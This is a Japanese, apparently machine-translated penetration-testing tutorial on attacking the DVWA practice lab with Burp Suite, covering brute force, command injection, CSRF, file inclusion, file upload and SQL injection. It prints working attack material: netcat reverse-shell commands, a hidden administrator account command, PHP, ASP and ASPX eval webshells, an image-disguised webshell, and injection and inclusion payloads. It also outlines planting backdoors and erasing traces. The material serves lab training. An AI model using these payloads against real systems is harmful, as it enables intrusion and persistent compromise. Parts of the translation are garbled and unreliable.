BurpSuite実践チュートリアル01 - Webペネトレーションセキュリティテスト(射撃場の設定と一般的な脆弱性の攻撃と防御)

侵入テスト

ペネトレーションテストとは、セキュリティエンジニアがハッカーを模擬し、法的権限の範囲内で情報収集、脆弱性マイニング、権限昇格などの行為を通じて対象オブジェクトに対するセキュリティテスト(または攻撃)を実施し、最終的にセキュリティリスクを特定してテストレポートを出力することを意味します。

Webペネトレーションテストにはホワイトボックステストとブラックボックステストがあり、ホワイトボックステストとはソースコードなどにアクセスせずに対象のWebサイトに侵入することを指し、コード解析や監査に相当します。ブラックボックステストとは、Webサイトのシステム情報に知らず知らずのうちに侵入するテストです。

Web 侵入は、情報収集、脆弱性スキャン、脆弱性悪用、権限昇格、イントラネット侵入、バックドアの放置、および痕跡の消去のステップに分かれています。侵入の一般的な考え方は、インジェクションの脆弱性があるかどうかを確認し、インジェクションしてバックエンド管理者のアカウントとパスワードを取得し、バックエンドにログインし、ポニーをアップロードし、ポニーを介して大きな馬をアップロードし、昇格することです。権利、イントラネットの転送、イントラネットの侵入、イントラネットのスキャン c セグメントの生き残ったホストと開いているポートがチェックされ、そのホストが悪用可能な脆弱性 (nessus)、ポート (nmap) に対応するサービス、および潜在的な脆弱性があるかどうかが確認されます。これらはイントラネットをダウンさせるために悪用され (msf)、バックドアを残して痕跡を消去します。または、ファイルをアップロードする場所があるかどうかを確認し、一言のトロイの木馬をアップロードしてから、包丁を使ってリンクし、データベースを取得して cmd コマンドを実行して、マレーシアに進みます... アイデアはたくさんあります。成功するか失敗するかはアイデアとテクノロジーの問題である可能性があり、高いものである必要はありませんが、アイデアはクールでなければなりません。

メッセージを収集する

情報収集はプロセス全体の最優先事項であり、初期段階で多くの情報を収集するほど、Web 浸透の成功率は高くなります。

  • DNSドメイン名情報:URLを通じて実際のIP、サブドメイン名(レイヤーサブドメイン名ブラストマシン)、サイドステーション(K8サイドステーション、Yujian 1.5)、Cセグメント、ウェブサイトの担当者とその情報(whoisクエリ)を取得します。
  • サイト全体の情報: サーバーのオペレーティング システム、サーバーの種類とバージョン (Apache/Nginx/Tomcat/IIS)、データベースの種類 (Mysql/Oracle/Accees/Mqlserver)、スクリプトの種類 (php/jsp/asp/aspx) 、CMS タイプ;
    Web サイトの一般的な組み合わせは次のとおりです。
  1. ASP および ASPX: ACCESS、SQLServer
  2. PHP:MySQL、PostgreSQL
  3. JSP:Oracle、MySQL
  • 機密ディレクトリ情報 (Dirbust、dirbust)
  • オープンポート情報(nmp)

脆弱性スキャン

AWVS、AppScan、OWASP-ZAP、BurpSuite などを使用して Web サイトの脆弱性の予備スキャンを実行し、悪用可能な脆弱性が存在するかどうかを確認します。
一般的な脆弱性:

  • SQLインジェクション
  • XSS クロスサイト スクリプティング
  • CSRF クロスサイト リクエスト フォージェリ
  • XXE (XML 外部エンティティ インジェクション) の脆弱性
  • SSRF(サーバーサイドリクエストフォージェリ)の脆弱性
  • ファイルに脆弱性が含まれています
  • ファイルアップロードの脆弱性
  • ファイル解析の脆弱性
  • リモートでコードが実行される脆弱性
  • CORS クロスドメイン リソース共有の脆弱性
  • 不正アクセスの脆弱性
  • ディレクトリトラバーサルの脆弱性と任意のファイルの読み取り/ダウンロードの脆弱性

エクスプロイト

ツールなどを使用して、対応する脆弱性を悪用します。
例:
SQL インジェクション (sqlmap)
XSS (BEEF)
バックグラウンドでのパスワード ブラスト (げっぷ)
ポート ブラスト (ヒドラ)

権限の昇格

シェルを取得した後、権限が非常に低い可能性があるため、権限を昇格する必要があります。サーバーのバージョンに対応するエクスプロイトに基づいて権限を昇格できます。Windows システムの場合は、対応するエクスプロイトに基づいて権限を昇格することもできます。パッチの脆弱性について。

イントラネットの浸透

最初にポート転送に nc を使用します
nc の使用方法:
逆接続
パブリック ネットワーク ホスト上監視:
nc-lvp 4444
イントラネット ホストで実行:
nc-e cmd.exe パブリック ネットワーク ホスト ip4444< /span> 次に、イントラネットに侵入します。ホスト脆弱性スキャン ツール (nessus、x-scan、利用可能な脆弱性があるかどうかをスキャンします。msf を使用して脆弱性を悪用したり、nmap を使用して生き残っているホストをスキャンしてポートを開いたりできます。hydra を使用してポートを爆破したり、msf を使用してポート上の対応する脆弱性を検出したりできます。イントラネットをダウンさせてバックドアを残すためのシェルを入手します nc-vv リモート ホスト ip4444< a i=13> 成功したら、ローカル ホストをリモート ホストのシェルにすることができます。 ローカル ホストで実行します: nc-l -p 4444 -t -e cmd.exe リモート ホストで実行します。 転送接続
成功すると、イントラネット ホスト シェルを取得できます。






バックドアを残す

バックドアを残してトロイの木馬をアップロードする Web サイトの場合
Windows ユーザーの場合、hideadmin を使用して超隠しアカウントを作成します。
手動: < a i=3> netuser test$ 123456 /add netlocalgroupAdministrators test$ /add この場合、cmd コマンドでは確認できませんが、コントロール パネルで確認できます。はい、コントロール レイアウトを実現するにはレジストリを変更する必要がありますが、表示できません。


セキュリティ保護キーワード

WAF

Webアプリケーション保護システム(別名:Webサイトアプリケーションレベル侵入防御システム。英語:Web Application Firewall、略称:WAF)。国際的に認知されている声明を利用する: Web アプリケーション ファイアウォールは、HTTP/HTTPS の一連のセキュリティ ポリシーを実行することによって Web アプリケーションを特に保護する製品です。

やすり

「ランタイム アプリケーションの自己保護」という用語は、RASP と省略されます。新しいタイプのアプリケーション セキュリティ保護テクノロジです。ワクチンのように保護プログラムをアプリケーションに注入します。アプリケーションは統合されており、リアルタイムでセキュリティ攻撃を検出してブロックできるため、アプリケーション自体を保護する機能を備えています。アプリケーションが攻撃されている 実際の攻撃被害が検出されると、手動介入なしで自動的に防御できます。

RASP テクノロジは、実行中のアプリケーションにセキュリティ防御機能を迅速に統合でき、アプリケーションからシステムへのすべての呼び出しを傍受し、その安全性を確保し、アプリケーション内で直接データ要求を検証します。 Web アプリケーションと非 Web アプリケーションの両方を RASP で保護できます。 RASP の検出機能と保護機能はアプリケーションが実行されるシステム上で実行されるため、このテクノロジはアプリケーションの設計には影響しません。

IAST/SAST/DAST

インタラクティブ アプリケーション セキュリティ テスト (インタラクティブ アプリケーション セキュリティ テスト) は、ホワイト ボックス テスト (SAST) とブラック ボックス テスト (DAST) の利点を組み合わせたグレー ボックス テストです。IAST のインストルメンテーション テクノロジは Java です。エージェントは、SQL インジェクション、Java パッケージに依存するバージョン検出などの脆弱性を検出すると、その実行を報告します。 .
セキュリティ テストでは、SAST (静的アプリケーション セキュリティ テスト)、DAST (動的アプリケーション セキュリティ テスト)、および IAST (対話型アプリケーション セキュリティ テスト) の概念に遭遇します。

比較項目 SAST ダスト IAST
オブジェクトをスキャンする ソースコード ランタイムアプリケーション ランタイムアプリケーション
スキャンの準備 単純 複雑な 複雑な
スキャン速度 素早い 非常に遅い 遅い
誤警報率 高い 低い 低い
カバレッジ 高い 低い 真ん中
環境への影響 なし 持っている 持っている
試験方法 白い箱 ブラックボックス ブラックボックス
開発言語との関係 関連している 無関係な 関連している
CI/CDの統合 サポート サポートしません サポートしません
サポートテストフェーズ 研究開発、テスト、発売 テストしてオンラインにする テストしてオンラインにする
展開する 単純 単純 複雑な

範囲練習

射撃場のおすすめ

脆弱性を理解したい場合、より良い方法は、まず自分で脆弱性を作成し (コードで記述して)、次にそれを悪用し、最後に修正することです。このようなオープン ソース プロジェクトの多くでは、これらの脆弱性は再現される可能性があります。 、これらのプロジェクトは以下と呼ばれます: 射撃場
射撃場の推奨事項 (半年以内に維持):

  1. DVWA: まったく脆弱な Web アプリケーション (DVWA) (注釈: 直訳すると「くそー」安全でない Web アプリケーション) はコーディングが不十分で、簡単に侵害された PHP/ MySQL Web アプリケーション。その主な目的は、情報セキュリティ専門家が法的環境でスキルとテストツールを練習できるようにすること、Web 開発者が Web アプリケーションのセキュリティを強化する方法をよりよく理解できるようにすること、および管理された教育環境で学生と教師を支援することです。 。
  2. ピカチュウ: ピカチュウは脆弱な Web アプリケーション システムであり、一般的な Web セキュリティの脆弱性が含まれています。あなたが Web 侵入テストの学生で、練習に適した射撃場がないことを心配しているなら、ピカチュウはまさにあなたが望むものかもしれません。
  3. WebGoat: Java 射撃場、WebGoat は、Web アプリケーションのセキュリティ コースを教えるために OWASP によって保守されている、意図的に安全でない Web アプリケーションです。
  4. vulstudy: vulstudy は、人気のある脆弱性学習プラットフォームを収集し、dvwa やピカチュウなどの 10 を超える射撃場を含む docker イメージを作成することを専門としています
  5. javaweb-vuln: RASP/IAST をテストするための Java 射撃場です。多くの脆弱性の種類が含まれています。射撃場は複数のモジュールで構成されています。サンプル プログラム基本的にはすべて vuln-core プロジェクトで詳細に分類されています。テスト中に問題が発生した場合は、タイムリーにフィードバックを提供してください。ありがとうございました。
  6. github 検索 github 上の射撃場のリスト。

射撃場(dvwa)設置

PHP 統合環境をインストールします: wamp、phpstorm を使用してデバッグ環境を開きます (ソース コード分析に便利です)。ドキュメントを参照してください: https://blog.csdn.net/liaomin416100569/article/details/128100034?spm=1001.2014。 3001.5501

dvwa を wamp の www ディレクトリにダウンロードします。

git clone https://github.com/digininja/DVWA.git

DVWA にはサンプル構成ファイルが付属しており、実際の環境に応じてコピーして変更する必要があります。たとえば、Linux 環境の DVWA パスでは、次のコマンドを直接実行できます。

cp config/config.inc.php.dist config/config.inc.php

データベース関連の設定を変更します: ./config/config.inc.php

$_DVWA[ 'db_server'] = '127.0.0.1';
$_DVWA[ 'db_port'] = '3306';
$_DVWA[ 'db_user' ] = 'dvwa';
$_DVWA[ 'db_password' ] = '';
$_DVWA[ 'db_database' ] = 'dvwa';

http://localhost/DVWA にアクセスしてください

私のこのページは、php.ini を変更することで修正されました。
ここに画像の説明を挿入します

php.ini ファイルを変更し、次のパラメータが以下にリストされているパラメータと同じであることを確認します。
ここに画像の説明を挿入します

  • allow_url_include = オン - リモート ファイル インクルード (RFI) を許可 [url-include を有効にする]
  • allow_url_fopen = オン - リモート アクセス (つまり、http リクエスト) を許可します (RFI) [url-fopen を有効にする]
  • safe_mode = Off - (PHP バージョン <= v5.4 の場合) SQL インジェクション (SQLi) を許可する [セーフ モード]
  • magic_quotes_gpc = Off - (PHP バージョン <= v5.4 の場合) SQL インジェクション (SQLi) を許可する [マジック クオート]
  • display_errors = Off - (オプション) PHP 警告メッセージを表示しません [エラー表示をオフにする]

config/config.inc.php ファイル構成:

$_DVWA[ 'recaptcha_public_key' ] & $_DVWA[ 'recaptcha_private_key' ] - 这里的值可以在此网址生成: https://www.google.com/recaptcha/admin/create  需要翻墙,这个秘钥是Insecure CAPTCHA漏洞用来生成验证码图片的秘钥,需要自己去申请创建一个

これを直接使用できます

[データベースの作成/リセット] ボタンをクリック
データベースに接続し、ユーザーとゲストブックの 2 つのテーブルを表示および生成します

脆弱性モジュールのテスト

DVWA には、合計 14 個のモジュールがあります。

  • Brute Force (ブルートフォースクラッキング)
  • コマンドインジェクション
  • CSRF (クロスサイト リクエスト フォージェリ)
  • ファイルのインクルード
  • ファイルのアップロード
  • 安全でない CAPTCHA (安全でない検証コード)
  • SQL Injection(SQL注入)
  • SQL Injection(Blind)(SQL盲注)
  • 弱いセッション ID (弱いセッション ID)
  • XSS (DOM) (DOM 型のクロスサイト スクリプティング)
  • XSS (反映) (反映されたクロスサイト スクリプティング)
  • XSS (保存型) (保存型クロスサイト スクリプティング)
  • CSPバイパス(CSPバイパス)
  • JavaScript

dvwa の各脆弱性には、低、メディア、高の 3 つの問題点があり、さまざまな方法で悪用される可能性があります。
DVWA セキュリティを通じて難易度を設定できます。
ここに画像の説明を挿入します
phpstorm を通じて対応する攻撃のソース コードを表示し、そのロジックを分析します。
ここに画像の説明を挿入します

ソフトウェアの使用方法

  • SwitchyOmega: Chrome ブラウザのプロキシ設定用のプラグイン。
  • BurpSuite: パケットのキャプチャ、脆弱性の再生など、Web サイトのスキャンに使用されます。
  • sqlmap: SQLMap は自動 SQL インジェクション ツールです。その主な機能は、指定された URL 内の SQL インジェクションの脆弱性をスキャン、検出、悪用することです。多くのバイパス プラグインが組み込まれています。サポートされているデータベースは、MySQL、Oracle、PostgreSQL、Microsoft です。 SQL Server、Microsoft Access、IBM DB2、SQ Lite、Firebird、Sybase、SAPMaxDB。
  • China Ant Sword:China Ant Sword は、オープンソースのクロスプラットフォーム Web サイト管理ツールであり、主に法的に認可された侵入テストに使用されます。日常業務を実行するセキュリティ担当者と Web サイト管理者は、Web サイトがトロイの木馬をアップロードする限り、Web サーバーに接続できます。
    php:<?php @eval($_post['ant']);?>
    asp:<%eval request (“ant”)%>
    aspx:<%@ Page Language=“Jscript”%> <%eval(Request.Item[“ant”],“unsafe” );%>

Brute Force (ブルートフォースクラッキング)

ブルート フォース クラッキング (資格情報スタッフィングや徹底的クラッキングとも呼ばれます) では、多数の辞書を使用して、認証インターフェイスへのログインを 1 つずつ試行します。理論的には、辞書が十分強力である限り、クラッキングは必ず成功します。
ブルート フォース クラッキングを防ぐ最も効果的な方法は、複雑なパスワード (英語の大文字と小文字、数字、記号を組み合わせたもの) を設定することです。

また、辞書が特定の Web サイトから漏洩し、それを使用して他の Web サイトにログインしようとした場合、それはクレデンシャル スタッフィングとなります。通常、Web サイト A のユーザー名とパスワードは Web サイト B のユーザー名とパスワードと同じであるため、クレデンシャル スタッフィング攻撃の成功率はブルート フォース クラッキングの成功率よりも高くなります。

一般的に使用されるオープンソースの弱いユーザー名とパスワードの辞書は次のとおりです。
https://github.com/fuzz-security/SuperWordlist
https:/ /github.com/NS-Sp4ce/Dict
https://github.com/mysticbinary/weakpass

低い

ローコードの表示
ここに画像の説明を挿入します
Burp Suite プロキシ パネルを開き、オプションでデフォルトで有効になっているポート 8080 を開きます。
ここに画像の説明を挿入します
新しいプロキシをブラウザに追加しますSwitchyOmega a>
ここに画像の説明を挿入します
switchyomega は localhost 127.0.0.1 などの IP をインターセプトしないため、LAN IP を使用してアクセスします。
たとえば、私のものは次のとおりです: http: //192.168.20.48/ DVWA
ここに画像の説明を挿入します
アドレスにアクセスした後、Web サイトの後にプロキシを選択し、burp で proxy-intercept と入力し、intercept is on をクリックして、ログイン ボタンをクリックすると、http リクエストが実行されていることを確認します。傍受される。
ここに画像の説明を挿入します
[アクション]、[侵入者に送信] の順にクリックします。最初にインターセプトをオフにできます。[侵入者 (爆破用)] ページをクリックして、今のリクエストを確認します。
ここに画像の説明を挿入します
Burp はデフォルトで追加されます。プレースホルダが大量にあります。これらのプレースホルダは後で辞書に置き換えることができ、呼び出すことはできないことがわかります。
Attach タイプの機能は次のとおりです。
-Sinper ( スナイパー): スナイパー モードはペイロードのセットを使用します。一度に 1 つのペイロード位置のみを使用します。2 つの位置「A」と「B」、およびペイロード値をマークするとします。が「1」と「2」の場合、攻撃します。(元のデータに加えて) 次の組み合わせが形成されます:

attack NO. 場所A 場所B
1 1 交換はありません
2 2 交換はありません
3 交換はありません 1
4 交換はありません 2
  • バタリング ラム (バタリング ラム モード): バタリング ラム モードは、ペイロード セットを 1 つだけ使用するという点でスナイパー モードに似ています。違いは、攻撃ごとにすべてのペイロード マークの位置が置き換えられるのに対し、スナイパー モードでは毎回、ペイロード タグの位置は 1 つだけです。交換されました。
attack NO. 場所A 場所B
1 1 1
2 2 2
  • ピッチフォーク (ピッチフォーク モード): ピッチフォーク モードでは、複数のペイロードの組み合わせを使用でき、マークされた各位置ですべてのペイロードの組み合わせをトラバースします。2 つの位置「A」と「B」があり、ペイロードの組み合わせ 1 の値が「1」と「1」であると仮定します。 「2」、ペイロードの組み合わせ 2 の値が「3」と「4」の場合、攻撃モードは次のようになります。
attack NO. 場所A 場所B
1 1 3
2 2 4
  • クラスター爆弾 (クラスター爆弾モード): クラスター爆弾モードとピッチフォーク モードの違いは、クラスター爆弾モードがペイロード グループのデカルト積を実行することです。これは依然として上記の例です。クラスター爆弾モードが攻撃に使用される場合ベースライン リクエスト に加えて、次の 4 つのリクエストがあります。
attack NO. 場所A 場所B
1 1 3
2 1 4
3 2 3
4 2 4

すべてのサイト シンボルをクリアし、ユーザー名とパスワードを選択し、プレースホルダーを追加して、クラスター ボムを選択します。
ここに画像の説明を挿入します
ここに画像の説明を挿入します

ペイロード ページに入ります。クラスタ ボム タイプには複数のプレースホルダがあり、複数のペイロード セットを設定する必要があることに注意してください。簡単なテストの場合
画像の説明を追加してください
、成功したメッセージの長さが確認できます。 admin/password は異なります。 同様に
ここに画像の説明を挿入します
辞書ファイルも以前に提供された gitlab からダウンロードし、load を通じてロードすることもできます。
ここではリソース プール パネルで次の数を定義できます。同時スレッド、
ここに画像の説明を挿入します

中くらい

コードを見てください

  1. mysqli_real_escape_string 関数は、SQL インジェクションを防ぐために SQL パラメータの特殊文字をエスケープするためにユーザー名とパスワードに追加されます。
  2. パスワードが間違っていると、戻る前に 2 秒間スリープ状態になります。
    ここに画像の説明を挿入します
    low のスクリプトは引き続き実行できますが、10 個のスレッドがアクセスしているため、時間が変化しています。エラーが発生した場合、次のパスワード セットを試行するまでに 2 秒かかります。
ハイン

コードを表示
ここに画像の説明を挿入します
ここでの主な理由は、ページにアクセスすると、セッション内でトークンが生成され、フォームの非表示部分に配置されるためです。フォームを送信するときに、呼び出して確認してください。主な理由は、ページのリクエスト後、メソッドが異なることです。
クラックする方法は、ページの input[name=user_token] から値を取得することです。
ここに画像の説明を挿入します
キャプチャされたパケットには user_token の追加のプレースホルダーがありますパケットを直接キャプチャすると、ログイン ページに 302 リダイレクトが表示されます。
ここに画像の説明を挿入します
ページにアクセスするたびにトークンが破棄され、次のトークンが生成されるため、新しいトークンを作成する必要があります。この新しいトークンは、ユーザー名とパスワードの検証時に使用され、無効になります。

再帰的な grep 方法

は、前のリクエストの user_token を次のリクエストのパラメータとして取得するため、最初の検証は無効になります。もちろん、最初のペイロードを設定することもできます。
ユーザー名、パスワード、および user_token の 3 つのプレースホルダーを設定し、リクエストをピッチフォークに設定します。Bomb はもう使用できません (Bomb の 3 番目のパラメーター user_token は毎回新しいため、リクエストはフルート。カール積は無限ループです)
ここに画像の説明を挿入します
ピッチフォークはインデックス番号 1 から 1 を渡すので、単純に 2 つのペアを設定し、最初のペアには任意の値を設定します。 3> デフォルト ---- ---------- デフォルト 管理者 ----------------パスワード< a i=5> test -- -------------- 123456 オプションのリダイレクトは常にに設定されていることに注意してください。検証が失敗したため、302 が返されます。 Index.php へのジャンプに応答しました 実行結果を表示する Grep 抽出を設定するを追加して、1 スレッド リクエストに変更します。 同じものを使用しているため、並列処理を防ぐために、リクエスト内の session_id を削除します。お互いの user_token を削除し、新しいリソースプール この設定では、自動的にリクエストが送信され、index.php にリダイレクトされ、トークンを取得できます。





ここに画像の説明を挿入します


ここに画像の説明を挿入します
画像の説明を追加してください

ここに画像の説明を挿入します

プロジェクトオプションのセッションモード

特定のページにアクセスして、user_token を取得し、リクエストする前にパラメータを置き換えます。
プロジェクト オプションをクリックしてセッション パネルに入ります。
新規作成マクロ (マクロ どのページから特定のデータを取得するかです)
画像の説明を追加してください
カスタム パラメータの定義ページのパラメータ名はリクエスト パラメータ名と一致していることに注意してください。
ここに画像の説明を挿入します

クリックしてセッション処理ルールを追加し、実行中のマクロをハンドラーに追加し、マクロによって取得された値をパラメーター user_token に更新します。同時に、このセッション ハンドラーが要求のみであることをスコアで指定します。 dvwa Web サイトのアドレス。有効にするには、このハンドラーを確認してください。
画像の説明を追加してください
同じ session_id を要求して、お互いの user_token が並行して削除されるのを防ぐため、新しいリソースプールを追加します。
を選択し、1 スレッド リクエストに変更します。
ここに画像の説明を挿入します
リクエスト結果の展開:
ここに画像の説明を挿入します

不可能

prepare を使用して SQL をコンパイルすると、SQL インジェクションの問題が解決されます。3 回失敗し、15 分間ロックされ、爆発の問題が解決されます。

コマンドインジェクション

コマンド インジェクションとは、データを入力する必要がある特定の場所で元のステートメント構造を破壊する悪意のあるコードを構築することを指しますが、システムには効果的なフィルタリングが不足しており、多くのコンテンツ管理 cms にはコマンド インジェクションの脆弱性があります。

低い

exec ディレクトリのコードを確認します
ここに画像の説明を挿入します
文字列は結合されているため、&& ipconfig に IP を直接入力して直接実行できます

セキュリティレベルの設定に注意してください

ここに画像の説明を挿入します
コマンド接続の実行に一般的に使用される方法:

  • & の後のコマンドはいずれにせよ実行されます。
  • && の後のコマンドは、前の && の前のコマンドが正常に実行された場合にのみ実行されます。
  • | 常に最後のものだけを実行します。
  • || いずれかが正常に実行される限り、実行を停止します

echo 0 && ipconfig は、コネクタの前後にスペースを入れなくても使用できることに注意してください。

中くらい

コードを表示
ここに画像の説明を挿入します
入力パラメータの値の && and; を空白に置き換え、 | を直接使用し、「8.8.8.8|ipconfig」と入力します
ここに画像の説明を挿入します

ハイン

コードを表示
ここに画像の説明を挿入します
8.8.8.8|ipconfig を中程度で使用します。

不可能

IPを4つの領域(.split)に分割し、それぞれの領域を数字と判断するだけでは全く解決策がありません。
ここに画像の説明を挿入します

CSRF (クロスサイト リクエスト フォージェリ)

攻撃者がユーザーのブラウザを介してユーザーの ID になりすましてサーバーに偽造リクエストを送信し、ターゲット サーバーによって正常に実行される可能性がある脆弱性は、CSRF 脆弱性と呼ばれます。
特徴:

  • ユーザーブラウザ: 信頼できるユーザーを表します。
  • なりすまし: 悪意のあるプログラムが信頼できるユーザー (ブラウザー) の身元を偽装します。
  • 偽造されたリクエスト: 信頼されたユーザーのブラウザ経由で開始されたアクセス

CSRF 攻撃は特殊であるため、フィッシングとソース コード分析に重点を置くことをお勧めします。
シナリオ: たとえば、ショッピング Web サイトでログインしているか、長時間ログインする必要がないときに、タブ ページでフィッシング Web サイトを開いたとします。同じブラウザ
を使用している場合、フィッシング Web サイトは Web ページ上でショッピング Web サイトのインターフェースを実行し、ショッピング Web サイトの注文情報や個人情報を取得します。Web サイトのセキュリティが低い場合、フィッシング Web サイトは、ショッピング Web サイトの注文情報や個人情報を取得します。現金引き出しに直接電話をかけるだけでなく、電話詐欺も行われる可能性があります。

低い

コードをアップロードする
ここに画像の説明を挿入します
このページの機能は、パスワードを入力して確認し、get メソッドを通じてリクエストを送信することです。
ここに画像の説明を挿入します
Web サイトでは cors が有効になっており、他のドメイン名は一般に直接呼び出すことができません。 このドメイン名に対応するインターフェイスは、CSRF カモフラージュを通じてのみ呼び出すことができます (同じ Chrome で別の Web サイトを作成し、攻撃元の Web サイトのトークンを使用してリクエストを開始します)
パケットをキャプチャしてリピーターに送信します< a i=4> リピーターに入り、Engagementtools を右クリックします - 》CSRF PoC を生成します 生成された HTML を配置しますフィッシング Web サイトを削除してアクセスできるようにします。 ブラウザのこのウィンドウで [テスト] をクリックし、コピーしてブラウザを開き (パスワード変更したブラウザと同じブラウザであることに注意してください)、プロキシ経由でアクセスするように設定します< /span> リクエストの送信をクリックしてパスワードを正常に変更します
ここに画像の説明を挿入します

ここに画像の説明を挿入します

ここに画像の説明を挿入します

ここに画像の説明を挿入します

中くらい

コードを表示
ここに画像の説明を挿入します
通常のアクセス HTTP_REFERER は http://192.168.20.48//DVWA/vulnerabilities/csrf/
SERVER_NAME は 192.168 です。 20.48
直接渡す場合: http://burpsuite/show/6/dxfgg2g0oa22anhtx8qv7bei6bunumxn
HTTP_REFERER に 192.168.20.48 が含まれていません。ページ上で定義できますか? ?
http://burpsuite/show/6/dxfgg2g0oa22anhtx8qv7bei6bunumxn/192.168.20.48 の場合、この csrf ページにアクセスしてバイパスし、nginx をハングして場所を作成できます。

ハイン

コードを表示
ここに画像の説明を挿入します
リクエストの送信方法を修正しました。最初にトークンが存在するかどうかを確認し、次にトークンの値が正しいかどうかを確認します。高レベルのCSRF対策メカニズムをバイパスするには、ユーザーの現在のトークンを取得することが重要です。
クラック方法:
自分で Web ページを作成し、ajax を通じてログイン ページを直接リクエストし、dom 解析を通じて user_token を取得してから、ajax post リクエストを送信します。直接バイパスします。
ここに画像の説明を挿入します

不可能

新旧のパスワードが追加され、データベースはパラメータ化され (アンチインジェクション)、クラッキングできません。

ファイルのインクルード

プログラム開発者は通常、再利用可能な関数を 1 つのファイルに記述します。特定の関数を使用する場合、そのファイルは再度記述せずに直接呼び出されます。このファイルを呼び出すプロセスは通常、インクルージョンと呼ばれます。
ファイルには、フィルタリングされていない、または厳密に定義されていない関数読み込みパラメータが含まれており、ユーザーが制御でき、その他の予期しないファイルが含まれているため、ファイル情報の漏洩や予期しないコードの実行が発生します。

低い

効果を見てください。このページ li/index.php には、file1.php、file2.php、file3.php が含まれています
ここに画像の説明を挿入します
コードを見てください
ここに画像の説明を挿入します
によると、セキュリティ タイプには対応する [セキュリティ タイプ].php が含まれており、インクルードされたページ変数 $file
low.php
ここに画像の説明を挿入します
がインクルードされたファイルで定義されています次に、「Get php.ini: http://192.168.20.48/DVWA/vulnerabilities/fi/?page=…/…/php.ini
ここに画像の説明を挿入します
phpinfo.php: http:」に変更します。 //192.168.20.48/ DVWA/vulnerabilities/fi/?page=…/…/phpinfo.php
ここに画像の説明を挿入します
直接パスには他のプロジェクトのファイルが含まれています: http://192.168.20.48/DVWA/ vulnerabilities/fi/?page= D:\green\wamp\www\helloworld\if.php
ここに画像の説明を挿入します
Linux などでは /etc/passwd などの十分な権限が必要です。
ウィンドウの下: http:///192.168.20.48/DVWA/vulnerabilities/fi/?page=C:\Windows\System32\drivers\etc\hosts

他の Web サイトにアクセスしてください: http://192.168.20.48/DVWA/vulnerabilities/fi/?page=https://www.baidu.com
ここに画像の説明を挿入します

中くらい

コードを見てください
ここに画像の説明を挿入します
https://、https://、.../ で始まるものはブロックされていますが、絶対パスには引き続きアクセスできます
例: http://192.168.20.48/DVWA/vulnerabilities/fi/?page=D:\green\wamp\www\helloworld\if.php

ハイン

コードを見てください

ここに画像の説明を挿入します
一致する $file は、include.php ではなく、file で始まる文字列である必要があります。
先頭のみが一致するため、ファイル プロトコルはこの条件を満たします。
http://192.168.20.48/DVWA/vulnerabilities/fi/?page=file:///D:\green\wamp\www\helloworld\if.php
ここに画像の説明を挿入します

不可能

ここに画像の説明を挿入します
これは完全に書き込まれており、 include.phpp file1-3.php のみにすることができます。これらのインクルード ファイルの内容が以前のコマンド ライン インジェクションによって変更されない限り、解決策はありません。

ここでテストした include.php に含まれる file3.php には xss 脆弱性があります
http://192.168.20.48/DVWA/vulnerabilities/fi/?page=file3.php
ここに画像の説明を挿入します

ファイルのアップロード

ファイル アップロード (ファイル アップロードの脆弱性) は、ユーザーが実行可能なスクリプト ファイルをアップロードし、このスクリプト ファイルを通じてサーバー側のコマンドを実行できることを意味します。通常、その理由は、アップロードされたファイルの種類と内容が厳密にフィルタリングおよび検査されていないため、攻撃者がトロイの木馬をアップロードすることでサーバーの Web シェル権限を取得できるためです。

低い

コードを表示します
ここに画像の説明を挿入します
制限なしでファイル転送を hackable/upload/ ディレクトリに直接アップロードします
China Ant Sword をインストールします (参照: https: //www.yuque.com/antswordproject/antsword/srruro)

コード解凍エラーが発生しました: [オブジェクト オブジェクト]。管理者として再度実行してインストールできます。インストール後、再度開くと使用できます。
シェル ファイル (https://www.yuque.com/antswordproject/antsword/qg3g73) を追加します。
ant.php の内容: (ant パラメータ ant に注意してください)キー ここにパスワードがあります)

<?php eval($_POST['ant']); ?>

関数によるアップロード
ここに画像の説明を挿入します
中国蟻剣による管理
画像の説明を追加してください
右クリックしてターミナルを開き、任意のシステム コマンドを実行できます
画像の説明を追加してください

中くらい

コードを確認する
ここに画像の説明を挿入します
直接アップロードする
ここに画像の説明を挿入します

パケットを直接キャプチャし、アクションをリピーターに送信します。multipart/data のコンテンツ タイプを変更することでバイパスできます。
画像の説明を追加してください

ハイン

コードを見てください
ここに画像の説明を挿入します

アップロードされたファイルのサフィックスは jpg|jpeg|png であると判断され、ファイル コンテンツの最初の数文字は getimagesize 関数に従って決定されます。
したがって、 php ファイルを変更した後の jpg で終わるファイルは、ファイルに画像識別子が含まれていないとアップロードは成功しません
興味がある場合は、https://www.php.net を参照してください。 /manual/ja/function.getimagesize.php< a i=3> ファイルの内容を含む画像を作成するだけです (Picture Horse) 描画ツールを使用して小さな画像ファイルを描画します。 コマンドを実行します: copy zero.png/b+ant.php/a shell.png 生成されたshell.pngをアップロードします。アップロードは成功しました。 a> または、gif のロゴやその他の画像を php 一文トロイの木馬に追加するだけです



ここに画像の説明を挿入します

GIF89a
<?php eval($_POST['ant']); ?>

画像ファイルにアクセスすると直接処理されるため、jpg 形式の PHP 一文トロイの木馬は解析できません。

http://192.168.20.48/DVWA/vulnerabilities/fi/?page=file に対応する前の hign に含める必要があるすべての脆弱性: /// D:\green\wamp\www\DVWA\hackable\uploads\shell.png

ページ メニューの Cookie 値をブラウザ f12 から Ant Sword にコピーする必要があることに注意してください
画像の説明を追加してください
テスト接続は成功しました

ここでは、ポストマンやハックバーを使用して正しくリクエストできず、Ant Sword がそれをどのように処理するかわかりません。

不可能

コード

以下の処理を行うと、トロイの木馬を解析することは基本的に不可能になります。

  • checkToken() はトークンが正しいかどうかを判断します
  • md5( uniqid() . $uploaded_name ) アップロードされたファイルの名前を変更します
  • strto lower($uploaded_ext) はサフィックス名を決定します
  • $uploaded_type はファイルの MIME タイプを決定します
  • getimagesize() は、ファイルの開始文字が一致するかどうかを判断します。
  • imagecreatefromjpeg() 画像の二次レンダリング (バイパス可能)
  • rename() は、ファイルを Web ディレクトリに移動できるかどうかを決定します

安全でない CAPTCHA (安全でない検証コード)

低い
中くらい
ハイン
不可能

SQL Injection(SQL注入)

SQL インジェクション (SQL インジェクション) とは、攻撃者が悪意のある SQL コマンドを注入して SQL クエリ ステートメントの構造を破壊し、それによって悪意のある SQL ステートメントを実行する目的を達成することを指します。

低い

コードを表示し、SQL を直接結合します
ここに画像の説明を挿入します
ID を入力します: -1' Union select user(),database() '
例、操作を表示します システム バージョン データ ディレクトリ: -1' Union select @@version_compile_os,database() '
ここに画像の説明を挿入します

jsqlインジェクション

